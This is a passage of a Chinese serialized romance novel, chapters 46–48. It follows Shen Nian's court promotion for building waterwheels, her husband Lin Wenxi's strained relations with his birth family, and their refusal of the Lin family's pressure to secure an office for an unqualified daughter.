“恕小辈一时眼拙,刚才未曾看见岳母。” 林御史端着脸:“我还以为是沈三娘如今眼里装不下我们林府的人了呢。” 沈年赔笑道:“哪有的事?” 林御史:“听长羽所说那日在徐家喜宴上几次出言邀你夫妻二人过府一叙,说起来着实是你们沈家缺了礼数,到底是亲家如今两府里却像是不相识一般,叫外人看去还以为我们林府有什么过失一样。” “您也瞧见了我近来实在是不得空,并非有意怠慢。” “沈三娘如今是陛下眼前的红人不得空便算了,我那儿自个便不能回来了?说起来这人是从林府中花轿抬出去的如今是要翻脸不认了。” “刚从兰城回京不久,府中事项许多还需他操持,今日又因着我的事情伤了手,实在不好上门拜见。” 林御史摇头连道了几声罢了,“如今你们这两尊金佛是请不到我林府中了,推三阻四倒显得我们林府上赶着了,不来便罢。” 他极气愤的振了振衣袖,昂扬着头将步子踏的沉重。 沈年跟上去又连声保证了几声,说过些时候定然过去,林御史的脸色才稍稍好看一些。 “又唤你我去林府?三番四次不知道又安的哪门子心!” 林闻溪回去路上听到沈年的复述,目光一寒道。 沈年:“说你我不过去是不讲礼数。” 林闻溪翻着白眼,不耐烦道:“过两日过去坐片刻,喝杯茶应付下便成了。” “她待你不好?我瞧你刚才倒是怕她看见你。” 林闻溪握着沈年的手窝在她肩上道:“说不上什么好不好,只是从前她一来爹爹院中,爹爹便将我推到她身边叫我说话讨她喜欢,可我不敢也不知道该说什么,呆呆的站着像个哑巴一样。待她走了爹爹就得训斥我,等下一次见到她我便更不敢出声了,到现在我看见她的脸便会不由得心慌,我实在不想见她。” 林闻溪说着声音哽咽起来,沈年将他在怀中圈紧,拍着他的后背温声安抚:“好了你不想见就不见,你讨我喜欢,不说话,站在不动也能讨我喜欢。” 林闻溪闻言哭的更委屈了,呜呜出声呜咽起来。 46 第46章 ◎爱哭爱絮叨◎ 林闻溪提起伤心事打开了话匣子,跟沈年讲起林府中的一众人来。 林家原只是京中不入流的寒门,自林御史的母亲高中为官后林家才有了些起色,其为官一朝直言敢谏言,一片赤心朝臣无人不称道,致仕亡故后朝廷还为她追封谥号为“贞肃”。 林御史苦读多年中第,女承母志也做了为谏官,颇有其母遗风,当时说起来也是一桩美谈。 “听爹爹所说,他在街面上自小卖木刻还是头一次见到母亲那般风光霁月,皎皎清辉的人物,令他一见生情。后来母亲常来小摊前买他的木刻,不多时母亲便将他带回那间院中,二人两厢生情就这般没名没分的过了几月,爹爹腹中便有了我。” 林闻溪说着自责的捂起了脸:“母亲说爹爹出身商户不好迎回府中,若他怀的是个女儿便有名头把他接回去了,可是爹爹他生了我只能流落在外。” 沈年抽出林闻溪袖中的素绢拉下他的手,轻柔为他擦了擦脸上的泪痕,心中跟着酸楚道:“你心中伤怀便不必再说了,前日才将眼睛哭红成那样,你忘了你还跟我说眼皮疼呢。” 林闻溪抹了抹脸说没事,又启唇怨恨林御史薄情,他也是去了林府中才发现林御史后院中的侧室通房不少,膝下孩子也已有四个了。 “她分明就是不想接我和爹爹回去,怕外人指摘她与一商户之子暗结珠胎,损她的清名!” 林闻溪在外人面前寡言少语,在沈年面前一向是爱哭爱絮叨惯了的,沈年拿他不知该如何便出言附和点头,边抚着他的胸膛给他顺气。 马车忽然一顿,林闻溪泪眼朦胧的止住了声,沈年探头出去,原来是沈府中的人。 那人面带喜色急走了两步到近前向沈年道:“御前的人已持着诏书和陛下赏赐到府,请三娘子速回府中接旨。” 今日朝上陛下是升了她的官,不过未曾说过有什么赏赐。 沈年唤了一声外面驾马的小薇,她闻声抽了下马鞭,向车厢内喊了一声道:“三娘子和正君坐好了。” 马蹄疾驰而过,林闻溪慌里慌张的擦了擦泪珠,抓着沈年的手道:“我这眼睛一会可如何接旨。” 沈年下意识探出手指帮他揉了揉眼眶,转了转眼珠想起来空间里有先前林闻溪为她制的除手上疤痕的膏药,她用完了大半剩一些便一直放那未动过了。 她将那盒药膏拿出来,“你做的这药涂上凉凉的或许有用,来将眼睛闭上。” 林闻溪点头听话合上眼,将脸凑到沈年面前。 沈年的手指沾着药膏凉凉的,林闻溪跟着眉头颤动,他的眼睛圆圆的凑近在眼前本就有点可爱加上这动作,沈年忍不住轻声笑了一声。 “三娘笑什么?我现在这样是很难看吧。”林闻溪不好睁眼,抓着沈年的手腕着急问她。 “没有只是觉得你有点可爱。” 林闻溪唇瓣上忽然一软,是沈年在亲他。 沈年今日总这般冷不丁的夸他,他的心似是要从胸膛中蹦出来,短暂的相触,让他忍不住在沈年抽离后又勾着她的后颈,撅起嘴巴轻啄几下。 这药还算是管用,到沈府正门前时林闻溪的眼睛已看不出哭过的痕迹了。 沈府门前不远处停了好几辆马车,皆是从前没在府门前见过的。 二人无暇多想只略瞧了一眼,一同往院门中进去。 正院庭中沈府几人正等着二人,见沈年到府跟着一同跪地接旨。 陛下越了半阶直接升沈年做了五品令使,今日被沈年状告的那官原是个从五品。 沈年身旁的沈修撰听到旨意,在地上三个头磕的极响。 行完大礼起身那传旨的礼官走到沈年身边笑道:“陛下亲自出城去瞧了那水车,圣心大悦特赏了沈令使这绢帛百匹,亲卫十名。” 沈年闻言看见沈修撰的脸色不顾那礼官相扶,又弯下膝盖谢恩,后面的林闻溪等三人又慌忙跟着跪拜才算完。 “陛下已下了特旨日后工部的木料工匠由沈令使随意调用,沈令使尽早将余下的田地也安置妥当才是。” 沈年点头:“还请上官回禀陛下,微臣定当竭心尽力。” 送走了礼官,沈府门前的那几辆马车中的人陆续下来,沈年瞧着面熟原是朝中的官员,一个个脸上堆着笑容进院门中来道贺。 明知道几人打着什么算盘,但对方笑脸相待,沈府也没有将人撵出去的道理,请进堂中奉上几杯清茶。 林闻溪和沈岳及侧君三人见到有客来回避往后院中去。 一路行去林闻溪和沈岳父子二人离得有一丈远,沈岳今日为林闻溪上药的时候便觉察出了他这位姐夫在刻意避着他。 用过晚饭沈岳从屋中出去打开院门,侧君闻声出来问他要去何处。 沈岳藏起手中的药丸寻了个借口道:“阿姐升了官我想去向她道一声贺。” 侧君没再问什么点了点头,沈年如今仕途好,沈岳也能沾点光日后许个好人家,与沈年亲近也算在沈家有个依靠。 去时院门开着,树荫下摆着一张摇椅沈年正闭目躺着似是睡着,林闻溪在近前坐着摇着蒲扇为沈年赶时而飞来的小飞虫。 沈岳轻轻咳了一声,林闻溪回头看见是他,又很快转回头砍了眼沈年,起身轻手轻脚踱步过来小声问道:“三娘刚合眼,有何事?” 沈岳将装着药丸的小瓶递过去:“阿姐请我验的这药,我看过了无甚问题。” 林闻溪只客气点了下头,连一个字都没多说便转身要往回走。 沈岳实在憋不住直言问道:“不知是我哪里惹了姐夫不悦。” 林闻溪愣神停下脚步,一时不知该回什么。 院中的沈年坐起身来出声替林闻溪解释:“他只是一向不善言辞罢了,阿弟别多想。” 沈岳:“是我吵醒阿姐了。” “没事,我们这院子里平常都没人来,阿弟进来坐坐吧。” 见沈岳迈步进来,林闻溪避开往屋里走却被沈岳唤住。 “有一桩事我想请阿姐和姐夫替我说句话。” 林闻溪转头为难看了看沈年,见沈年向他点了点头便跟着一同走过去坐在沈年身边。 沈年问道:“阿弟要我们说什么话?” 沈岳将眼神看向林闻溪,纠结万分开口道:“父亲近来有意为我张罗婚事,可我我眼下还不想成婚,想请阿姐和姐夫劝一劝母亲和父亲暂缓此事。” 那侧君算是沈年的庶父,沈年不方便与他多说什么话,林闻溪闻言明白沈岳为何要叫他留下来了。 “阿姐若觉得为难” “不为难,”沈年抢过沈岳的话头笑了笑,“侧君也是想让你许个好人家,阿姐为你寻一个好的说给侧君就是。” 见沈岳慌忙摆着手,林闻溪用手肘推了推沈年道:“三娘可莫要乱点鸳鸯谱,男子的婚姻大事可不是儿戏。” 沈年:“我哪里乱点,这可是桩一等一的好姻缘,你在兰城见过的罗娘子,如今她在卢平县做县令还托岳弟传信给我呢。” 沈岳像是被说中了心事,微微将头低下。 沈年向他那边挪了挪故意打趣道:“岳弟意下如何,罗娘子可入你的眼。” 林闻溪不知其中内情用蒲扇敲了敲沈年手骨节,“岳弟还未与罗娘子议亲,八字还没一撇,哪有三娘这般问话的。” 沈岳抬头向两人笑了笑,“我只想着寻个知心人,日后能像阿姐和姐夫这般琴瑟和鸣便好。” 林闻溪以扇掩面暗自笑了笑,向沈年道:“不过罗娘子受母亲牵连去了卢平县那地界还不知几时能翻身,侧君应不会同意这桩事吧。” 沈年道:“待我将京中的水车全数修好,便向陛下举荐罗从宛回京来,一来圆了岳弟的心愿可在府中多住些时日,二来也能让侧君安心托付。” “那如此便妥当了,我明日去院中去寻侧君说一说。” 见林闻溪一口应下,沈岳出言道谢:“多谢阿姐和姐夫为我费心。” 入夜沈年坐在案前在纸上安排明日的事程,林闻溪坐在塌边静悄悄不出声,一会看看沈年,一会抬起头盯着屋檐上看。 沈年忍不住看向他道:“你胳膊有伤早些睡,在那瞧什么呢。” 林闻溪像只弓着背的猫轻手轻脚的向她走过来,用气声问沈年:“陛下赏三娘那几个亲卫,是不是都在屋顶上蹲着呢。” 沈年笑了下学着他的气声回道:“我唤她们下来了,现在在院里不在屋顶上。” 林闻溪松了口气:“三娘怎不早说,我都不敢出声,听闻前朝的一官只是在梦中说错了句话被屋顶上的暗桩听去第二日便被抓进狱中去了,也不知陛下赏这几个人给三娘是为了护你还是盯着你。” “我又没做什么亏心事,你不必怕什么去榻上歇着吧。” 林闻溪回去侧身躺下,心中琢磨着明日如何与侧君说为好,昏昏睡了过去。 清早起来送走沈年上朝,林闻溪打理院中几件琐事正打算往侧君那院去,外院却侍从忽然传话过来说是林府的主君和林长羽过府来探望他。 林闻溪不去迎脸面上过不去,硬着头皮前去相见。 一见到面林长羽便亲近搭上林闻溪的手,“听昨日母亲回府说阿兄受了伤,我与父亲便想着过来瞧瞧。” 47 第47章 ◎“还有外人在。”◎ “不过是点皮外伤而已,哪里就劳动主君和阿弟过来一趟。” 林闻溪不动声色躲开他的手看向从车厢中缓步而下的林主君客气含笑向他欠身行了个礼。 这林主君出身一小乡富绅府邸,当年林主君的母亲雪中送炭给了林御史的母亲二十两盘缠进京赶考,而后林母高中还乡为了还这恩情便为二人定下了娃娃亲。 林主君的脸生的中规中矩,如今上了些年纪眼角添了几条皱纹遮盖不住,身形也不似从前宽了许多。他笑起来时狭长的眼睛眯成一道细缝,他看人不是往人脸上瞧,而是盯着林闻溪周身的衣饰和他头上的发冠看。 林府一堆清贵人中偏多了他这个势利俗人。 他一眼瞧见林闻溪身前挂着的玉鹿,不由分说探出手来就要往手中抓着看,林闻溪慌忙用掌心严实握住,“此物是三娘所赠,不便拿与父亲看。” 林主君撇起一边嘴角啧了几声:“我不过是瞧着样式别致些罢了,五郎就如此护着,依我这双眼看着这玉并不值几个大钱。” 林闻溪在林府排行第五,林家人先前甚少唤他五郎这称呼只是直称他的名字,猛的叫起来他脑中转了几个弯才反应过来。 他冷着脸不掩饰眼底的厌烦,向后退了一步淡淡道:“三娘的一片心意,不能以银钱来量。” 林主君忙着转头去看沈府的提匾门面,未瞧见他的神情。 “沈家门楣是何时修缮过了,瞧着好生气派。” 林长羽似是觉得面上无光,咳了一声压着眉推了推林主君的胳膊。 “别光在这大门口站着了,父亲和阿弟随我进府中坐坐用些茶点。” 林闻溪在前一路引着二人往后院去,院中花草池木打理的干净齐整,廊庭小阁走几步便可见一处,院中一贯侍从见到林闻溪的面个个恭谨俯首行礼。 林主君和林长羽跟在身后一路瞧着慢慢的不言语了,抿着嘴角尽管腰板端的直挺,但似乎如何在林闻溪面前也抬不起头来了。 林主君想起个人来忽的开口问道:“听闻亲家公身子不好去了佛堂静心修养,也不知几时能病愈回来,我二人许久未见倒是惦念。” 家丑不可外扬,沈修撰将这桩事在京中藏的极为严实,连徐府的人也不知其中内情,对外只说是沈父身子不好需静养。 林闻溪心知肚明他问这话是安的什么心,回头冷笑森森的对他道:“病去如抽丝且要养些年月呢,父亲若是惦记我可在书信中替父亲问候一句。” 林主君似是被他的眼神吓了一跳,“罢了,还是不扰亲家公安心养病了。” 进了内厅林闻溪命人奉上茶和几碟子糕点,三人生疏对坐硬挤出几句话来说,已用了两盏茶二人还不见要走的意思,林闻溪招手唤外面的侍从进来吩咐。 “去库中取几匹昨日陛下赏的绢帛来给父亲和阿弟带回去做几身衣裳穿。” 林主君闻言面上一喜,只是话中还故作矜持道:“这御赐之物金贵,五郎拿此物相赠林府可要拿什么还呢。” 林闻溪客气道:“父亲和阿弟诚心来看我一回,就当做我的谢礼了不必说什么还的话。” 侍从端着绢帛进来奉到林主君面前,林主君起身伸手上前摸了摸叹道:“这御赐的东西果真和外面的不一样。” 林长羽定定坐着似乎对此不屑一顾,“从前得了什么好东西都分一些给阿兄,如今轮到阿兄赏我们东西了。” 林主君转头向林长羽使了个眼色,噎了他一句道:“什么赏不赏的显得生分,五郎本就同我们是一家人,兄弟姊妹间送来送往的是常事,五郎如今想着我们是好事。” 说罢人又回身去坐下,端起茶盏抿着。 这礼也收了,话也说到头了,林闻溪不知这二人还赖着不走是要做何,起身站起婉言赶客道:“今日不巧,我手上还有一桩三娘嘱咐我办的要事,怕是不能继续赔父亲和阿弟说话了,不如父亲先回府,改日——” 林长羽向外面庭院中瞧了一眼,打断林闻溪的话道:“我瞧着快到下值的时辰了,父亲与我今日来一趟不如再坐片刻等阿嫂回来一同叙几句话。” 林闻溪心中思忖前几日林府一味催着沈年与他去林府,今日这两人却先上门还偏要等着见沈年,用脚趾头想都知道这两人定是有什么事。 他于是皱起眉头推脱道:“昨日陛下刚传口谕下了命,三娘估摸要忙下值也不一定会回府来呢。” 林主君一副不见到人不走的语气又问:“她平日何时回来?” 林闻溪抬手假意挠了挠脑门:“这我也说不准,平日里忙到三更半夜回来都是常事,前天一夜都未曾来得及回院,父亲和阿弟还是莫要等着了她回来,日后总有相见的时候。” 林长羽闻声将脸沉下来,如同块冻上霜的坚冰,看了林主君一眼欲动身要起来,却被林主君按着胳膊又坐下。 “不妨事,五郎若有事便去忙,我与你阿弟再略坐坐。” 林闻溪也不能将人轰出门去,甩了个脸色向外走:“那父亲和阿弟自便就是。” 到了庭外林闻溪唤侍从过来嘱咐:“茶点不必再上,里面也不用留人伺候,干晾着就成,我倒瞧瞧这两人能坐到几时。” 侍从点头应声,林闻溪往沈岳那院中去。 叩开院门沈岳似乎已等了多时,听到动静很快从屋中迈步出来,林闻溪向他说明缘由后便只身去侧君屋子拜见。 侧君正坐在软榻上捻线,见到林闻溪进来起身相迎,二人见面客套几句。林闻溪看见篓中的几圈红线指着问:“有府中下人在,侧君理这些东西做什么。” 侧君笑了一声:“岳儿该寻门亲事了,我闲来无事想着为他提早将喜服备好。” 林闻溪试探问了问:“不知可有合适的府邸。” 侧君:“我同主家说了此事,主家倒是着人送来几张娘子的画像,不过画上瞧得难免有出入,一时还未定下。” “既还未定下,我这话也就好说了,不瞒侧君今日我来便是受三娘所托说户好人家给您。” “三娘子要替岳儿牵线?不知是哪家的娘子?” 林闻溪从袖中抽出沈年昨夜画的一张画像笑道:“三娘不善作画,侧君将就看看。这位娘子今科刚中了第,是三娘在兰*城相识的,现正在卢平县中当县令,不光家世清白而且品貌极佳,与岳弟很是相配。” 侧君看着沈年的画皱了皱眉,狐疑问道:“只是眼下官职不高又外任不在京中,岳儿才从那地方回来,如今外面世道不安我倒是想让他留在京中。” 林闻溪:“这侧君不必忧心,三娘说了身上这桩事完工便在陛下面前举荐她回来。京中婚事论门第,论出身,现在沈府刚有些起色寻上门来结亲的揣的什么心思您想想便知,不如暂且等一等,待人回来瞧上一眼再定。” “如此也好,只是不知娘子家那边愿不愿结亲。” 林闻溪笑着覆上侧君的胳膊道:“三娘与那罗娘子交情甚好,有三娘牵线这事定然能成。” 一切说定,侧君将林闻溪从屋中送出来,林闻溪向院中的沈岳使了个眼色示意,沈岳向他一笑。 林闻溪不想回去再见林家那两人的面,留在院中同沈岳一同种花草。 林闻溪指着一怪株问道:“这是什么花,我怎么不认得?” 沈岳边往盆中浇水边小声对林闻溪耳语:“这不是花是药材,爹爹不认识我哄他的。” 林闻溪点头帮他松盆中的土打发时辰。 —— 沈年一早出门上值时沈府正门前只见沈修撰的车马。 沈修撰推开车窗,手中盘着珠串气定神闲看向她道:“今日你与我同乘。” 昨日沈修撰的眼神定是发觉了什么,沈年秉着一副破罐破摔的神情进了里面坐下,瞥了一眼沈修撰的眼睛,却见她将眼睛闭上。 沈修撰一直安静未出声,手中珠串碰撞声音杂乱无序,扰的沈年的心中生乱。 她掐着自己的手指开口:“我不是——” 没等她说出去,沈修撰猛的睁眼厉声呵断她的话:“越发没规矩了,连母亲都不唤一声,你是在同谁说话!” “我……” “你不是的话那谁是,这世上还哪里能寻的出这样一副相貌的人来!” 沈年低头想了想,的却她是也不是。 沈修撰既不愿去分辨追究,那她没必要非得把这层窗纸扎破,她长舒了一口气沉声唤了她一声母亲。 沈修撰很快应了一声,平复许久后又开口道:“今日下值随我去赴宴,与胡照青见一面。” 沈年想了想:“是工部的胡尚书?司内的官员皆因她排挤我,见她作甚。” “我的人查到这两回你在朝堂上被弹劾都是由她牵头的,昨日去府中与其见面相谈甚欢。” 沈年气的扬起两边眉头:“她如此害我,母亲怎还能与她谈到一处?” 沈修撰看着他笑道:“在这朝堂上的官想的无非是将头上这顶乌纱帽戴的稳一点久一点,并非非得针尖对麦芒谁要谁的命,若彼此都能得利那为何不能谈呢。” 沈年:“可这种事不是最忌讳两头摇摆,若被两方都抛弃下场岂不会更惨。” “赵党容不下的是风宪司,她们结成一党是为了在暴政之下保全自身而不是为了谋逆造反,今朝陛下仁善,二者之间的隔阂并未有那般深。” 沈年点头向沈修撰道了一声谢,又托沈修撰代她向内官回禀一句她先不去上朝,待完工之后再去。 一进虞部司殿内便发觉同僚看她的眼神比先前要和善不少。 一人迎上前来引着她往殿后的阁间道:“沈大人不必与我们挤在一处了,日后便在此办公事。” 沈年迈脚进去瞧了瞧,里面的木地板擦拭的能低头照见人影,摆着一只大桌案和屏风,屏风之后是张软榻。 “沈大人觉得可还妥当,若需添置别的就知会一声。” 沈年回身谢道:“不必再费心,如此便甚好。” 先前殿中官员还忧心沈年会因先前的冷遇寻她们麻烦,眼下见她没摆架子一副好脾气,跟过来在她身前围着:“我们手上现也没什么差事,若沈大人缺人手便调我们来用。” “你们愿意来我求之不得,不过丑话说在前头,这是桩苦活,几位可想好了?” “为朝廷陛下效力,哪有什么苦不苦的。” 殿中的官员心中都门清的很,那徐珞宁悄悄跟着沈年昨日露了个大脸,陛下昨日亲临瞧见了顺手也给她升了半阶官。 这是桩难求的好买卖,就算升不了官,也能在陛下百姓面前露个脸面。 沈年在殿中给几人拿着图纸讲了一番,算上沈年一共八人,分到每人头上各造六架时间就宽裕很多。 “待会我各派六名工匠给你们,徐大人是用木料制的,若有什么不懂之处可寻她细问。” 殿中不多时便开始忙乱起来,独先前那周代云孤零零在角落坐着,拿着笔在纸上乱画。 沈年留心看了一眼,这周代云与她积怨太深,吃了几次亏她长了些教训,需得早些将这人从司中调走,留在身边迟早要咬她一口。 她钻进阁间中忙了一早,算着时辰出了官属往今晨与沈修撰约定的酒楼里去。 推开厢房的门,里面胡照青已与沈修撰对坐饮酒,二人都面颊微红瞧起来已是喝了不少。 沈修撰招手唤沈年到近前坐下,塞了一盅酒到沈年手中推了推她的肩醉乎乎道:“先去敬胡尚书一杯。” 胡照青叮当与她碰了下杯,拍着她的肩道:“先前多有误会,你这小辈勿要与我多计较才是。” 沈年抬头将杯中的酒饮尽,是胡照青理亏在先,眼下有意和解,她需将身上的刺露出来,这时候越强硬越好。 沈年直言问道:“听母亲说先前朝堂上的两桩事都是出自胡尚书的手,小辈初来乍到不知道是哪里得罪了尚书大人。” 胡照青怔了一下,呵呵一笑道:“误会一桩,只怪当时被谗言迷惑忧心沈三娘子回京会将工部搅乱,昨日听沈修撰一言,沈三娘子是要长久在工部的。自你来了工部都成了个香饽饽,朝上也议民间也论,你我相斗不如相合。” 沈修撰举起酒杯附和道:“前事都一笔勾销不作数了往后彼此相安,我这小女平顺,工部便可多进款项,胡尚书在朝中自然也会平顺。” “正是这个理。”胡照青揽着沈年的肩笑的开怀。 酒过三巡沈年临走之前向胡照青提起将周代云从司中调走之事,胡照青点头应下。 回官属不久,吏部的调令就到了。 目送周代云从殿中离去,她的心却平不下,赵党的权柄竟已大到这种地步。 —— 林闻溪一直躲到日暮时分,那边院中侍从传话过来说林主君问他可得空回去,有几句话要同他说。 见躲不过林闻溪只好回去,两人干坐了半日口干舌燥,张嘴说话时都有些干哑。 林闻溪假装愠色向侍从道:“都怎么伺候的,没瞧见茶盏空了怎不去给添上。” 侍从上了茶二人捧起杯子咕咚咚饮下一大杯唇色才好看些。 林主君放下杯盏讪讪开口道:“本想等三娘子回来,可左等右等不见人回来,只好先跟五郎你说一声了。” “我早同父亲和阿弟讲了,”林闻溪拍了拍袖上沾着的一点灰,眼都没抬一下,“父亲和阿弟还说我生分,你们不也是有事怎不早些讲与我,耽搁到这时候。” “你三姐久考不中,去岁有你祖母的恩荫在朝中做了个主簿闲官。三娘子如今升了令使,要造那水车每日的工料用度想来都需记档,不知可否托三娘子将你三姐调用进工部,往后多照拂照拂。” 林闻溪在心中暗骂,紧皱着眉头为难道:“三娘最不愿我多问她朝中的事……我也不好向她张这个口,不过虽我懂得不多但这调职之事应是归吏部管,三娘在工部又才刚刚升迁如何有这个本事。” 林主君正要张口,忽听见外面沈年唤林闻溪的声音,林闻溪听见声音换上笑脸起身相迎。 沈年从院中一路迈着大步进来,见到林闻溪的面一头倚在他肩上搂着腰贴上来,出声和他诉苦:“忙了一日手腕都快要断了,你帮我揉揉。” “三娘……”林闻溪红着脸小声说,抬手推了推她。 偏偏沈年累的瘫在他身上不抬头:“怎么了你,今日晚膳吃什么。” 林闻溪涨红着脸边向后瞟眼睛,边说:“有人在。” 48 第48章 ◎他的树◎ 沈年将眼睛从林闻溪肩上探出去一瞧,林主君以手掩面重重咳了一声。 那日徐家婚宴后京中后宅都传沈三娘子对林氏温声细语,处处牵伴,两人瞧着正值新婚燕尔一般。 林长羽回府中也在他跟前说林闻溪这小浪蹄子如今过的得意,林主君还不大信,亲眼瞧见两人举止亲密,一面在心中暗咒林闻溪随了他那没皮没脸的亲父,不声不响的狐媚子勾的女子一进门来就搂着他抱,一面又悔恨当初瞎了眼睛让林闻溪捡了这大便宜。 “父亲和阿弟听闻我受了伤过来瞧我。”林闻溪边说边不经意踮起脚挡住沈年的视线,低头抬了抬眉向她使眼色,张嘴不出声吐了两个字“先走”。 沈年虽不知缘由但依他的意思,先笑脸唤了声岳丈和小叔而后寻了个由头道:“岳丈是贵客不常来登门,我这衣衫上沾了些木屑我先去换一身再来拜见。” 沈年说着便利落转身要迈出门槛去。 林主君赶了两步紧追上来,摆着手高声唤了她几回,院中的侍从都听见了他的声音向里面探着头张望,沈年也不好装自己是聋子无奈停下步,林长羽似是觉得他这父亲不知礼数,如此高声叫人丢了脸面,压着声线短促唤一声:“父亲!” 林主君回身瞧见林长羽使眼色才难堪的将嘴闭上,尴尬站了片刻才开口向沈年道:“连了姻亲都是自家人,三娘子不必如此见外,天色不早我们说两三句话便回府了。” 说罢林主君直直的看向林闻溪,眼神不像是求人办事反倒有种莫名的盛气凌人,逼着他开口向沈年说话。 沈年瞧见林主君的眼神,脸上没了刚才的和气一瞬变脸压着眉头瞪了回去,林主君的面色一僵气势立马软下去。 “怎么了,有什么话跟我说。”沈年向前握上林闻溪的手腕,眼睛注视着他正声问道。 林闻溪被沈年着一眼看着,心中的不安的波澜尽数都被她抚平了,眼前的人已不知何时从一株树苗悄然间生长出青壮的枝来,足以为他遮去这些小风小雨。 他伸出另一只手反握着沈年的手背,向沈年转述一番林主君的话。 沈年只是先笑了声,走到正中软榻前坐下,林闻溪跟着沈年挤在一边同坐。 若不是父亲非要为他三姐来走动,林长羽才不愿来这沈府抬林闻溪的脸面。 他此刻瞧着眼前的一幕胃中更是翻江倒海,林闻溪半倚不倚在沈年后背上,沈年的一只手被他拉着掩在两人身后,想来此刻正当着自己父亲和阿弟的面暗处牵着女人的手呢。 果真是外面生的上不得台面,再人面前还不知收收这些下作手段,他便是凭这些手段迷住沈三娘的吧! 林闻溪偷偷摸着沈年的手指骨节玩,满眼痴迷的盯着沈年说话。 “司中缺人手要调用三姐姐过来倒不是什么难办的事,不过我得要先见过三姐姐问几句,毕竟工部不比她如今的闲差,陛下催的紧朝上也盯着,不能出什么差错。” 林主君见沈年如此说十分欢喜,“都是自家人,还需什么问不问的,你三姐姐绝对错不了。” 沈年:“正是自家人才更要问仔细些,沾亲带故的旁人定免不了要多问几句,若问起来三姐姐有何本事才干我却说不上来,可不是就坏了林家在朝中的清名,想来三姐姐也不愿背上趋炎附势的骂名吧。” “要问你三姐姐有何本事才干她怕是一时说不上来,不过她只是平日懒散若真花心思动做起事来还是伶俐的,三娘子先寻人调她进去,抽空教她一招半式的也够用了。” 沈年闻言不耐烦哼了一声,冷言道:“岳丈说的这是什么话,我升到今日这官位一路也是如履破冰,您也瞧见了林郎还因我被官差伤了手,我自个还未站稳脚。也是想着您上门来张口不易,又有林郎的薄面才答应,若三姐姐指望着我教她一来我没空,二来与三姐姐还没那般交情,还请岳丈另想法子为妙。” “三娘子没交情,”林主君看向林闻溪道,“五郎总该有,那可是你亲姐姐,你好歹也未她说句话。” 林闻溪笑了笑道:“朝中的事我哪里懂,三姐姐是与我说过那么几句话,不过依三姐姐的性子我看也做不来工部那苦累差事。” 林主君在这沈府被白白晾了半日,事未办成又丢了脸面,一时间恼羞成怒,胡搅蛮缠指着林闻溪的脸训斥起来。 “林府当公子哥儿一样把你养着,从前你身上的的一针一线,口中喝的茶吃的米哪样不是林府出来的,若没有林府将你接回来怕是不知道如今在哪间泥屋破瓦里蹉跎着哪来的福气进沈府的门,林家对你的恩情你也该想着还一些来才是!” 沈年起身将林闻溪推至身后,“他是林御史的血脉,林家本就有养育之责。岳丈一厘一毫算的这般清楚,林家是已经连个男儿都养不起了不成,他用了林家多少银钱我替他还回去。” “他虽是入了你们沈家的门但还是终究还是姓林,五郎记在我的名下唤我一声父亲,我还说不得他一句了吗?还有我也算三娘子的长辈,三娘子此话实在无礼。” “我一直也就不是什么端正识礼的人物,岳丈是忘了不成。再说岳丈上我沈府的门却有求于人还对林郎颐指气使,不知是何道理。” “父亲与阿嫂都先坐下,”林长羽见势不好温声和气出言打圆场,“父亲为三姐姐的事心焦如焚,一时没念及阿嫂也有难处,待回去同三姐姐说一声叫她去寻阿嫂见一见就是。” 林闻溪伸手握着沈年的手拉着她坐下,这是他招来的讨债鬼,他没有一直躲在沈年身后的道理。 他起身一步步幽幽走向下面坐着的两人,压迫感十足的下目线瞪着两人,林主君被盯着一瞬气都不敢喘。 林长羽见不惯他这副高高在上审视的神情,“阿兄用这种眼神盯着父亲看实属不敬。” 林闻溪抽起一边嘴角呵呵笑了声:“前一句说我不孝,这一句又说我不敬,父亲和阿弟可真会给我扣帽子。“ “主君说我没还林府的恩情,母亲一个从五品言官做了多年未动过,当初我入沈府后不过半月便得升迁沾了谁的光林府上下难道不清楚? “还有当初沈府给林府的聘礼丰厚,而父亲给沈家的陪礼单子还正在我屋中放着,您扪心自问我到底欠不欠林府的恩情。” 林长羽道:“那只是一时胡话,自家人计较这些无趣,阿兄作为小辈无需揪着父亲一句气话不放。” 林闻溪:“我不欠林府什么,沈家更不欠。先前婉言父亲听不明白,不如我直说以三姐姐那样的榆木脑袋,硬塞到三娘身边只会害了三娘,这桩事父亲还是趁早作罢。” 林主君愤然起身站起来,“这事三娘子已经应下,有你什么事!” “好了!”沈不耐烦敲了敲桌案道,“天色不早就不多留二位,三姐姐的事我自有安排岳丈回府去等吧。” 林主君二人听到这话才满心满意的迈出院门而去。 林闻溪拿三白眼瞪着两人的背影,回身气的不轻倚在沈年肩上自责:“三娘怎又答应了,我早不想与林府的人来往不怕与他们撕破脸皮,三娘不必因我给他们好脸色。” 沈年伸手摸摸他的侧脸:“这种狗皮膏药你越往外拉扯越疼。不如把你父亲那心肝三姐姐捏在我手中当个棋子,我想把她扔哪里就扔哪里,瞧他们如何再来寻你的茬。” 林闻溪在她手指尖上亲了亲,“三娘比我有远见,只是我那三姐姐最爱偷奸耍滑不是个可依之人。” 沈年:“司中今日刚走了一人,一堆杂活正愁没人干,你安心我有分寸。” —— 林府 “谁叫你这愚夫去登沈府的门的!我们林府还没到为一小官小职折腰的地步,你这一去真是将我林氏的脸面都丢尽了!” 一进门林御史将茶盏摔在林主君和脚边,打在地上的瓷渣飞起在林长羽的细颈上划了一道不起眼的小口。 他抽出帕子来在伤口上按着,替林主君叫委屈道:“母亲消消气,父亲他在沈府开这个口也不容易。” “我若不去长淑的前程怎么办,叫她一辈子只做个九品主簿不成,你要守着林家的脸面打肿了充胖子,我可不想干坐着等死。” 在旁翘着腿坐着的林长淑出声埋怨道:“那也不该父亲上门去,前几日阿弟和母亲不已经请过沈三娘要她过府来了嘛。” 林长羽:“阿姐话说的轻巧,眼下这形势不必说叫人家登我们林府的门来,就是我与父亲亲自前去都没有好言相待,险些白走一趟。” 林长淑坐起身来抖了抖眉:“怎么?那沈三娘子走运成了陛下面前的红人,在父亲面前也摆架子不成。” 林长羽摇着头叹道:“今时不同往日阿嫂有些脾气也是正常,不过是那五郎忒没心肝对父亲冷言恶眼,偏阿嫂又十分听信他的话。” 林长淑将桌子拍的砰砰响:“有这样的事!我就说了那五郎瞧着木头桩子似的,心里头黑点很如今得了势故意在我们面前耀武扬威,我看当初就不该接他回府来……” 林长羽看见林御史铁青的脸色咳了一声,林长淑蔫了下来止住了话。 沉寂了半晌,林长淑才又开口问:“那这话都说出去了,沈三娘子她如何回的。” “阿嫂说明日要问三姐姐的话,瞧瞧你有何本事没有。” 